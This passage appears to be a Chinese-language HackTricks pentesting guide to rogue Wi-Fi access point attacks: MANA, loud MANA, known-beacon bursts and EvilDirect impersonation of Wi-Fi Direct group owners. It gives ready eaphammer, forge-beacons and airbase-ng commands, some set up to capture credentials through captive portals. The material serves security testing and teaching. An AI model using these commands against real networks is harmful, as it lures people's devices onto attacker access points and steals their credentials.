根据Ian de Villiers和Dominic White的说法,现代站点被设计为通过忽略那些尚未至少响应过一次广播探测请求的接入点的定向探测响应来保护自己免受KARMA攻击。这导致了直到2015年,易受KARMA攻击的站点数量显著下降,直到White和de Villiers开发出了一种绕过此类保护的方法。在White和de Villiers改进的KARMA攻击(MANA攻击)中,使用定向探测响应来重建附近站点的PNL(首选网络列表)。当从站点接收到广播探测请求时,攻击者的接入点用该站点的PNL中已经在直接探测中看到的任意SSID响应。
总结来说,MANA算法的工作原理如下:每次接入点接收到探测请求时,它首先确定它是广播探测还是定向探测。如果是定向探测,发送者的MAC地址被添加到哈希表中(如果它还不在那里),并且ESSID被添加到该设备的PNL中。AP随后响应一个定向探测响应。如果是广播探测,接入点对该设备PNL中的每个网络作出探测响应。
使用eaphammer进行MANA攻击:
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
响亮的MANA攻击
请注意,标准的MANA攻击仍然无法攻击根本不使用定向探测的设备。因此,如果我们之前也不知道设备PNL中的任何条目,我们需要找到其他方法来攻击它。
一种可能性是所谓的响亮的MANA攻击。这种攻击依赖于这样一个想法:在彼此物理接近的范围内的客户端设备很可能在它们的PNL中至少有一些共同的条目。
总结来说,响亮的MANA攻击不是对每个特定设备的PNL中的每个ESSID响应探测请求,而是恶意AP对它之前看到的所有设备的每个PNL中的每个ESSID发送探测响应。将这与集合论联系起来,我们可以说AP发送探测响应,针对的是附近所有设备PNL的并集中的每个ESSID。
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
已知信标攻击
仍有情况下,Loud MANA 攻击可能不会成功。
已知信标攻击是一种“暴力破解”ESSID的方法,尝试让受害者连接到攻击者的AP。攻击者创建一个对任何ESSID都会响应的AP,并运行一些代码,发送伪造的ESSID信标,这些ESSID来自于一个词表中的每个名称。希望受害者的PNL中包含了一些这些ESSID名称,并将尝试连接到伪造的AP。
Eaphammer 实现了这种攻击,作为一种MANA攻击,其中列表中的所有ESSID都会被加载(你也可以结合使用 --loud
来创建一个Loud MANA + 已知信标攻击):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
已知信标突发攻击
众所周知,信标是显眼的。您可以使用Eaphammer项目中的脚本来快速启动文件中每个ESSID名称的信标。如果您将此脚本与Eaphammer MANA攻击结合使用,客户端将能够连接到您的AP。
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct是一种Wi-Fi标准,允许设备在没有无线AP的情况下相互连接,其中一个设备将充当AP(称为群组所有者)。你可以在许多物联网设备中找到Wi-Fi Direct,如打印机、电视等。
Wi-Fi Direct依赖于Wi-Fi Protected Setup(WPS)来安全地连接设备。WPS有多种配置方法,如按键配置(PBC)、PIN输入和近场通信(NFC)。
因此,如果使用PIN,之前看到的对WPS PIN的攻击在这里也同样有效。
EvilDirect劫持
这类似于Evil-Twin,但用于Wi-Fi Direct,你可以冒充群组所有者,尝试让其他设备如手机连接到你:airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0
参考资料
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
TODO: 查看 https://github.com/wifiphisher/wifiphisher(facebook登录和WPA在captive portals中的模仿)
加入HackenProof Discord服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客洞察
深入探讨黑客的刺激和挑战
实时黑客新闻
通过实时新闻和洞察,跟上快节奏的黑客世界
最新公告
通过最新的漏洞赏金发布和关键平台更新,保持信息更新
加入我们的 Discord ,今天就开始与顶尖黑客合作!
从零开始学习AWS黑客攻击,成为 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果你想在HackTricks中看到你的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 💬 加入Discord群组或telegram群组或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享你的黑客技巧。**